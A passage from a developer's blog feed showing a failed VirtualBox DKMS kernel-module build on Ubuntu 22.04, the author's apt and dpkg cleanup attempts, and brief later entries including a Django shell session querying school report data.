  CC [M]  /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/assert-r0drv-linux.o
/var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/SUPDrvTracer.o: warning: objtool: SUPR0TracerFireProbe+0x7: indirect jump found in RETPOLINE build
/var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/SUPDrvTracer.o: warning: objtool: supdrvTracerProbeFireStub+0x0: &amp;#39;naked&amp;#39; return found in RETHUNK build
  CC [M]  /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/alloc-r0drv-linux.o
  CC [M]  /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/initterm-r0drv-linux.o
  CC [M]  /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/memobj-r0drv-linux.o
  CC [M]  /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/memuserkernel-r0drv-linux.o
  CC [M]  /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/mp-r0drv-linux.o
  CC [M]  /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/mpnotification-r0drv-linux.o
  CC [M]  /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/process-r0drv-linux.o
/var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/memobj-r0drv-linux.c: In function ‘rtR0MemObjNativeLockUser’:
/var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/memobj-r0drv-linux.c:1228:18: error: too many arguments to function ‘get_user_pages’
 1228 |             rc = get_user_pages(R3Ptr,                  /* Where from. */
      |                  ^~~~~~~~~~~~~~
In file included from /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/the-linux-kernel.h:102,
                 from /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/memobj-r0drv-linux.c:31:
./include/linux/mm.h:2430:6: note: declared here
 2430 | long get_user_pages(unsigned long start, unsigned long nr_pages,
      |      ^~~~~~~~~~~~~~
/var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/memobj-r0drv-linux.c:1261:33: error: passing argument 6 of ‘get_user_pages_remote’ from incompatible pointer type [-Werror=incompatible-pointer-types]
 1261 |                                 papVMAs                 /* vmas */
      |                                 ^~~~~~~
      |                                 |
      |                                 struct vm_area_struct **
./include/linux/mm.h:2400:33: note: expected ‘int *’ but argument is of type ‘struct vm_area_struct **’
 2400 |                            int *locked);
      |                            ~~~~~^~~~~~
/var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/memobj-r0drv-linux.c:1245:18: error: too many arguments to function ‘get_user_pages_remote’
 1245 |             rc = get_user_pages_remote(
      |                  ^~~~~~~~~~~~~~~~~~~~~
./include/linux/mm.h:2397:6: note: declared here
 2397 | long get_user_pages_remote(struct mm_struct *mm,
      |      ^~~~~~~~~~~~~~~~~~~~~
/var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/memobj-r0drv-linux.c:1304:39: error: assignment of read-only member ‘vm_flags’
 1304 |                 papVMAs[rc]-&amp;gt;vm_flags |= VM_DONTCOPY | VM_LOCKED;
      |                                       ^~
/var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/memobj-r0drv-linux.c: In function ‘rtR0MemObjNativeMapUser’:
/var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/memobj-r0drv-linux.c:1774:35: error: assignment of read-only member ‘vm_flags’
 1774 |                     vma-&amp;gt;vm_flags |= VM_DONTEXPAND | VM_DONTDUMP;
      |                                   ^~
cc1: some warnings being treated as errors
make[3]: *** [scripts/Makefile.build:251: /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/memobj-r0drv-linux.o] Error 1
make[3]: *** Waiting for unfinished jobs....
/var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/memuserkernel-r0drv-linux.o: warning: objtool: VBoxHost_RTR0MemKernelCopyTo+0x13: redundant CLD
/var/lib/dkms/virtualbox/6.1.38/build/vboxdrv/r0drv/linux/memuserkernel-r0drv-linux.o: warning: objtool: VBoxHost_RTR0MemKernelCopyFrom+0x13: redundant CLD
make[2]: *** [scripts/Makefile.build:488: /var/lib/dkms/virtualbox/6.1.38/build/vboxdrv] Error 2
make[1]: *** [/usr/src/linux-headers-6.5.0-14-generic/Makefile:2037: /var/lib/dkms/virtualbox/6.1.38/build] Error 2
make: *** [Makefile:234: __sub-make] Error 2
make: Leaving directory &amp;#39;/usr/src/linux-headers-6.5.0-14-generic&amp;#39;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt install virtualbox
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
virtualbox is already the newest version (6.1.38-dfsg-3~ubuntu1.22.04.1).
The following packages were automatically installed and are no longer required:
  kbuild module-assistant
Use &amp;#39;sudo apt autoremove&amp;#39; to remove them.
0 upgraded, 0 newly installed, 0 to remove and 3 not upgraded.
1 not fully installed or removed.
After this operation, 0 B of additional disk space will be used.
Do you want to continue? [Y/n]
Setting up virtualbox-dkms (6.1.38-dfsg-3~ubuntu1.22.04.1) ...
Removing old virtualbox-6.1.38 DKMS files...
Deleting module virtualbox-6.1.38 completely from the DKMS tree.
Loading new virtualbox-6.1.38 DKMS files...
Building for 6.5.0-14-generic
Building initial module for 6.5.0-14-generic
ERROR: Cannot create report: [Errno 17] File exists: &amp;#39;/var/crash/virtualbox-dkms.0.crash&amp;#39;
Error! Bad return status for module build on kernel: 6.5.0-14-generic (x86_64)
Consult /var/lib/dkms/virtualbox/6.1.38/build/make.log for more information.
dpkg: error processing package virtualbox-dkms (--configure):
 installed virtualbox-dkms package post-installation script subprocess returned error exit status 10
Errors were encountered while processing:
 virtualbox-dkms
E: Sub-process /usr/bin/dpkg returned an error code (1)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;dl class="simple"&gt;
&lt;dt&gt;::&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;$ ls -l /var/crash/virtualbox-dkms.0.crash
-rw-r–r– 1 root whoopsie 6048 jaan  11 07:29 /var/crash/virtualbox-dkms.0.crash&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;I was able to remove all virtualbox packages:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt remove virtualbox-dkms
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
  dctrl-tools dkms linux-headers-5.15.0-60 linux-headers-5.15.0-60-generic linux-headers-5.19.0-50-generic linux-hwe-5.19-headers-5.19.0-50
Use &amp;#39;sudo apt autoremove&amp;#39; to remove them.
The following additional packages will be installed:
  virtualbox-source
The following packages will be REMOVED:
  virtualbox-dkms
The following NEW packages will be installed:
  virtualbox-source
0 upgraded, 1 newly installed, 1 to remove and 3 not upgraded.
1 not fully installed or removed.
Need to get 836 kB of archives.
After this operation, 4 789 kB disk space will be freed.
Do you want to continue? [Y/n]
Get:1 http://ee.archive.ubuntu.com/ubuntu jammy-updates/multiverse amd64 virtualbox-source amd64 6.1.38-dfsg-3~ubuntu1.22.04.1 [836 kB]
Fetched 836 kB in 0s (3 211 kB/s)
Selecting previously unselected package virtualbox-source.
(Reading database ... 317674 files and directories currently installed.)
Preparing to unpack .../virtualbox-source_6.1.38-dfsg-3~ubuntu1.22.04.1_amd64.deb ...
Unpacking virtualbox-source (6.1.38-dfsg-3~ubuntu1.22.04.1) ...
dpkg: virtualbox-dkms: dependency problems, but removing anyway as you requested:
 virtualbox depends on virtualbox-dkms (&amp;gt;= 6.1.38-dfsg-3~ubuntu1.22.04.1) | virtualbox-source (&amp;gt;= 6.1.38-dfsg-3~ubuntu1.22.04.1) | virtualbox-modules; however:
  Package virtualbox-dkms is to be removed.
  Package virtualbox-source is not configured yet.
  Package virtualbox-modules is not installed.
  Package virtualbox-dkms which provides virtualbox-modules is to be removed.
 virtualbox depends on virtualbox-dkms (&amp;gt;= 6.1.38-dfsg-3~ubuntu1.22.04.1) | virtualbox-source (&amp;gt;= 6.1.38-dfsg-3~ubuntu1.22.04.1) | virtualbox-modules; however:
  Package virtualbox-dkms is to be removed.
  Package virtualbox-source is not configured yet.
  Package virtualbox-modules is not installed.
  Package virtualbox-dkms which provides virtualbox-modules is to be removed.
(Reading database ... 317679 files and directories currently installed.)
Removing virtualbox-dkms (6.1.38-dfsg-3~ubuntu1.22.04.1) ...
Deleting module virtualbox-6.1.38 completely from the DKMS tree.
Setting up virtualbox-source (6.1.38-dfsg-3~ubuntu1.22.04.1) ...
(dev) luc@yoga:~$ sudo apt remove virtualbox
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
  dctrl-tools dkms kbuild libgsoap-2.8.117 linux-headers-5.15.0-60 linux-headers-5.15.0-60-generic linux-headers-5.19.0-50-generic linux-hwe-5.19-headers-5.19.0-50
  module-assistant virtualbox-source
Use &amp;#39;sudo apt autoremove&amp;#39; to remove them.
The following packages will be REMOVED:
  virtualbox
0 upgraded, 0 newly installed, 1 to remove and 3 not upgraded.
After this operation, 112 MB disk space will be freed.
Do you want to continue? [Y/n]
(Reading database ... 317402 files and directories currently installed.)
Removing virtualbox (6.1.38-dfsg-3~ubuntu1.22.04.1) ...
Processing triggers for man-db (2.10.2-1) ...

$ sudo apt remove virtualbox-source
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
  dctrl-tools dkms kbuild libgsoap-2.8.117 linux-headers-5.15.0-60 linux-headers-5.15.0-60-generic linux-headers-5.19.0-50-generic linux-hwe-5.19-headers-5.19.0-50
  module-assistant
Use &amp;#39;sudo apt autoremove&amp;#39; to remove them.
The following packages will be REMOVED:
  virtualbox-source
0 upgraded, 0 newly installed, 1 to remove and 3 not upgraded.
After this operation, 936 kB disk space will be freed.
Do you want to continue? [Y/n]
(Reading database ... 317207 files and directories currently installed.)
Removing virtualbox-source (6.1.38-dfsg-3~ubuntu1.22.04.1) ...
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But now I can’t install it any more:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt install virtualbox
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
  kbuild module-assistant
Use &amp;#39;sudo apt autoremove&amp;#39; to remove them.
The following additional packages will be installed:
  virtualbox-dkms virtualbox-qt
Suggested packages:
  vde2 virtualbox-guest-additions-iso
The following NEW packages will be installed:
  virtualbox virtualbox-dkms virtualbox-qt
0 upgraded, 3 newly installed, 0 to remove and 3 not upgraded.
Need to get 22,1 MB/46,1 MB of archives.
After this operation, 178 MB of additional disk space will be used.
Do you want to continue? [Y/n]
Get:1 http://ee.archive.ubuntu.com/ubuntu jammy-updates/multiverse amd64 virtualbox-qt amd64 6.1.38-dfsg-3~ubuntu1.22.04.1 [22,1 MB]
Fetched 22,1 MB in 4s (5 703 kB/s)
Selecting previously unselected package virtualbox-dkms.
(Reading database ... 317202 files and directories currently installed.)
Preparing to unpack .../virtualbox-dkms_6.1.38-dfsg-3~ubuntu1.22.04.1_amd64.deb ...
Unpacking virtualbox-dkms (6.1.38-dfsg-3~ubuntu1.22.04.1) ...
Selecting previously unselected package virtualbox.
Preparing to unpack .../virtualbox_6.1.38-dfsg-3~ubuntu1.22.04.1_amd64.deb ...
Unpacking virtualbox (6.1.38-dfsg-3~ubuntu1.22.04.1) ...
Selecting previously unselected package virtualbox-qt.
Preparing to unpack .../virtualbox-qt_6.1.38-dfsg-3~ubuntu1.22.04.1_amd64.deb ...
Unpacking virtualbox-qt (6.1.38-dfsg-3~ubuntu1.22.04.1) ...
Setting up virtualbox-dkms (6.1.38-dfsg-3~ubuntu1.22.04.1) ...
Loading new virtualbox-6.1.38 DKMS files...
Building for 6.5.0-14-generic
Building initial module for 6.5.0-14-generic
ERROR: Cannot create report: [Errno 17] File exists: &amp;#39;/var/crash/virtualbox-dkms.0.crash&amp;#39;
Error! Bad return status for module build on kernel: 6.5.0-14-generic (x86_64)
Consult /var/lib/dkms/virtualbox/6.1.38/build/make.log for more information.
dpkg: error processing package virtualbox-dkms (--configure):
 installed virtualbox-dkms package post-installation script subprocess returned error exit status 10
dpkg: dependency problems prevent configuration of virtualbox:
 virtualbox depends on virtualbox-dkms (&amp;gt;= 6.1.38-dfsg-3~ubuntu1.22.04.1) | virtualbox-source (&amp;gt;= 6.1.38-dfsg-3~ubuntu1.22.04.1) | virtualbox-modules; however:
  Package virtualbox-dkms is not configured yet.
  Package virtualbox-source is not installed.
  Package virtualbox-modules is not installed.
  Package virtualbox-dkms which provides virtualbox-modules is not configured yet.

dpkg: error processing package virtualbox (--configure):
 dependency problems - leaving unconfigured
No apport report written because the error message indicates its a followup error from a previous failure.
No apport report written because the error message indicates its a followup error from a previous failure.
dpkg: dependency problems prevent configuration of virtualbox-qt:
 virtualbox-qt depends on virtualbox (= 6.1.38-dfsg-3~ubuntu1.22.04.1); however:
  Package virtualbox is not configured yet.

dpkg: error processing package virtualbox-qt (--configure):
 dependency problems - leaving unconfigured
Processing triggers for mailcap (3.70+nmu1ubuntu1) ...
Processing triggers for desktop-file-utils (0.26-1ubuntu3) ...
Processing triggers for hicolor-icon-theme (0.17-2) ...
Processing triggers for gnome-menus (3.36.0-1ubuntu3) ...
Processing triggers for man-db (2.10.2-1) ...
Processing triggers for shared-mime-info (2.1-2) ...
Errors were encountered while processing:
 virtualbox-dkms
 virtualbox
 virtualbox-qt
E: Sub-process /usr/bin/dpkg returned an error code (1)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I tried some cleanup actions, with success:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt autoremove
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages will be REMOVED:
  dctrl-tools dkms kbuild libgsoap-2.8.117 linux-headers-5.15.0-60 linux-headers-5.15.0-60-generic linux-headers-5.19.0-50-generic linux-hwe-5.19-headers-5.19.0-50
  module-assistant virtualbox-dkms
0 upgraded, 0 newly installed, 10 to remove and 3 not upgraded.
1 not fully installed or removed.
After this operation, 222 MB disk space will be freed.
Do you want to continue? [Y/n]
(Reading database ... 317479 files and directories currently installed.)
Removing virtualbox-dkms (6.1.38-dfsg-3~ubuntu1.22.04.1) ...
Deleting module virtualbox-6.1.38 completely from the DKMS tree.
Removing dkms (2.8.7-2ubuntu2.2) ...
Removing dctrl-tools (2.24-3build2) ...
Removing kbuild (1:0.1.9998svn3564+dfsg-1) ...
Removing libgsoap-2.8.117:amd64 (2.8.117-2build1) ...
Removing linux-headers-5.15.0-60-generic (5.15.0-60.66) ...
dpkg: warning: while removing linux-headers-5.15.0-60-generic, directory &amp;#39;/lib/modules/5.15.0-60-generic&amp;#39; not empty so not removed
Removing linux-headers-5.15.0-60 (5.15.0-60.66) ...
Removing linux-headers-5.19.0-50-generic (5.19.0-50.50) ...
dpkg: warning: while removing linux-headers-5.19.0-50-generic, directory &amp;#39;/lib/modules/5.19.0-50-generic&amp;#39; not empty so not removed
Removing linux-hwe-5.19-headers-5.19.0-50 (5.19.0-50.50) ...
Removing module-assistant (0.11.10) ...
Processing triggers for man-db (2.10.2-1) ...
Processing triggers for libc-bin (2.35-0ubuntu3.6) ...
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;dl class="simple"&gt;
&lt;dt&gt;::&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;$ sudo dpkg –purge virtualbox virtualbox-qt virtualbox-dkms
(Reading database … 260368 files and directories currently installed.)
Removing virtualbox-qt (6.1.38-dfsg-3~ubuntu1.22.04.1) …
Removing virtualbox (6.1.38-dfsg-3~ubuntu1.22.04.1) …
Purging configuration files for virtualbox (6.1.38-dfsg-3~ubuntu1.22.04.1) …
Removing virtualbox-dkms (6.1.38-dfsg-3~ubuntu1.22.04.1) …
Deleting module virtualbox-6.1.38 completely from the DKMS tree.
Processing triggers for man-db (2.10.2-1) …
Processing triggers for shared-mime-info (2.1-2) …
Processing triggers for hicolor-icon-theme (0.17-2) …
Processing triggers for mailcap (3.70+nmu1ubuntu1) …
Processing triggers for gnome-menus (3.36.0-1ubuntu3) …
Processing triggers for desktop-file-utils (0.26-1ubuntu3) …&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;System diagnostics:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ dpkg -l | grep -i virtualb
iU  virtualbox                                    6.1.38-dfsg-3~ubuntu1.22.04.1           amd64        x86 virtualization solution - base binaries
iF  virtualbox-dkms                               6.1.38-dfsg-3~ubuntu1.22.04.1           amd64        x86 virtualization solution - kernel module sources for dkms
rc  virtualbox-guest-utils                        6.1.38-dfsg-3~ubuntu1.22.04.1           amd64        x86 virtualization solution - non-X11 guest utilities
iU  virtualbox-qt                                 6.1.38-dfsg-3~ubuntu1.22.04.1           amd64        x86 virtualization solution - Qt based user interface

$ uname -a
Linux yoga 6.5.0-14-generic #14~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon Nov 20 18:15:30 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -crid
Distributor ID:       Ubuntu
Description:  Ubuntu 22.04.3 LTS
Release:      22.04
Codename:     jammy

$ sudo dmesg | grep -i -e virtualb -e vbox
(no output)

$ find /lib/modules -iname vboxdrv.ko -ls
(no output)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0111.html</guid><pubDate>Thu, 11 Jan 2024 00:00:00 +0000</pubDate></item><item><title>Thursday, January 4, 2024</title><link>https://luc.lino-framework.org/blog/2024/0104.html</link><description>&lt;section id="thursday-january-4-2024"&gt;
&lt;h1&gt;Thursday, January 4, 2024&lt;a class="headerlink" href="#thursday-january-4-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;A subscription is a time-based or periodic invoice generator.&lt;/p&gt;
&lt;p&gt;A storage filler is not periodic. It generates “invoices” (or similar vouchers)
when a given storage has reached a minimum quantity.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0104.html</guid><pubDate>Thu, 04 Jan 2024 00:00:00 +0000</pubDate></item><item><title>Tuesday, January 2, 2024</title><link>https://luc.lino-framework.org/blog/2024/0102.html</link><description>&lt;section id="tuesday-january-2-2024"&gt;
&lt;h1&gt;Tuesday, January 2, 2024&lt;a class="headerlink" href="#tuesday-january-2-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Here is my first Django session on the Zeugnisse Server:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;In&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;zeugnisse.models&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BausteinArbeitBewertung&lt;/span&gt;
&lt;span class="n"&gt;In&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BausteinArbeitBewertung&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;schüler&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;361&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;baustein&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;In&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arbeit&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;Out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;BausteinArbeit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Arbeitsverhalten&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;BausteinArbeit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Sauberkeit&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;BausteinArbeit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Korrektur&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;BausteinArbeit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Zeitmanagement&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;BausteinArbeit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Arbeitsverhalten&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;In&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arbeit&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;Out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;In&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BausteinArbeitBewertung&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;schüler&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;361&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;baustein&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arbeit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;In&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;Out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;

&lt;span class="n"&gt;In&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;punkte&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;Out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Decimal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2.0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;Decimal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2.0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;

&lt;span class="n"&gt;In&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;Out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;319012&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;319022&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

